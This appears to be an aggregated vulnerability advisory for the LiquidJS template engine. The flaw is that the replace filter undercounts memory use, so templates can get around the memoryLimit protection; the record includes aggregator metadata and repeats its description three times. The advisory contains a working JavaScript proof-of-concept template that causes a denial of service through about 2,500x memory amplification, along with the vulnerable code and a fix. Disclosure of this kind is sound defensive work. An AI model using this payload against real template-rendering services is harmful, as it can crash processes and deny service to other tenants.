LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.
LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.
LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.3, the replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions. This vulnerability is fixed in 10.25.3.
## Summary
The `replace` filter in LiquidJS incorrectly accounts for memory usage when the `memoryLimit` option is enabled. It charges `str.length + pattern.length + replacement.length` bytes to the memory limiter, but the actual output from `str.split(pattern).join(replacement)` can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the `memoryLimit` DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.
## Details
The vulnerable code is in `src/filters/string.ts:137-142`:
```typescript
export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
const str = stringify(v)
pattern = stringify(pattern)
replacement = stringify(replacement)
this.context.memoryLimit.use(str.length + pattern.length + replacement.length) // BUG: accounts for inputs, not output
return str.split(pattern).join(replacement) // actual output can be quadratically larger
}
```
The `memoryLimit.use()` call charges only the sum of the three input lengths. However, the `str.split(pattern).join(replacement)` operation produces output of size:
```
(number_of_occurrences * replacement.length) + non_matching_characters
```
When every character in `str` matches `pattern` (e.g., `str` = 5,000 `a`s, `pattern` = `a`), there are 5,000 occurrences. With a 5,000-character replacement string, the output is `5000 * 5000 = 25,000,000` characters, while only `5000 + 1 + 5000 = 10,001` bytes are charged to the limiter.
The `Limiter` class at `src/util/limiter.ts:3-22` is a simple accumulator — it only checks at the time `use()` is called and has no post-hoc validation of actual memory allocated.
The `memoryLimit` option defaults to `Infinity` (`src/liquid-options.ts:198`), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.
## PoC
```javascript
const { Liquid } = require('liquidjs');
// User explicitly enables memoryLimit for DoS protection (10MB)
const engine = new Liquid({ memoryLimit: 1e7 });
const inputLen = 5000;
const aStr = 'a'.repeat(inputLen);
const bStr = 'b'.repeat(inputLen);
// Template that should be blocked by 10MB memory limit
const tpl = engine.parse(
`{%- assign s = "${aStr}" -%}` +
`{%- assign r = "${bStr}" -%}` +
`{{ s | replace: "a", r }}`
);
// This should throw "memory alloc limit exceeded" but succeeds
const result = engine.renderSync(tpl);
console.log('Memory limit: 10,000,000 bytes');
console.log('Memory charged:', 10001, 'bytes');
console.log('Actual output:', result.length, 'bytes'); // 25,000,000 bytes
console.log('Amplification:', Math.round(result.length / 10001) + 'x');
// Output: Amplification: 2500x — completely bypasses the 10MB limit
```
## Impact
Users who deploy LiquidJS with `memoryLimit` enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the `replace` filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:
- Node.js process out-of-memory crashes
- Denial of service for co-tenant users on the same process
- Resource exhaustion on the hosting infrastructure
The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (`memoryLimit` enabled) and template authoring access.
## Recommended Fix
Account for the actual output size in the memory limiter by calculating the number of occurrences:
```typescript
export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
const str = stringify(v)
pattern = stringify(pattern)
replacement = stringify(replacement)
const parts = str.split(pattern)
const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length)
this.context.memoryLimit.use(outputSize)
return parts.join(replacement)
}
```
This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The `split()` result is reused to avoid computing it twice.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 8, 2026, 5:52:05 PM
dateUpdated: Apr 10, 2026, 8:37:03 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-400
Original publisher date fields
published: 2026-04-08T19:25:21.400
lastModified: 2026-07-24T22:10:00.140
1 source CPE criteria · context only
cpe:2.3:a:liquidjs:liquidjs:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.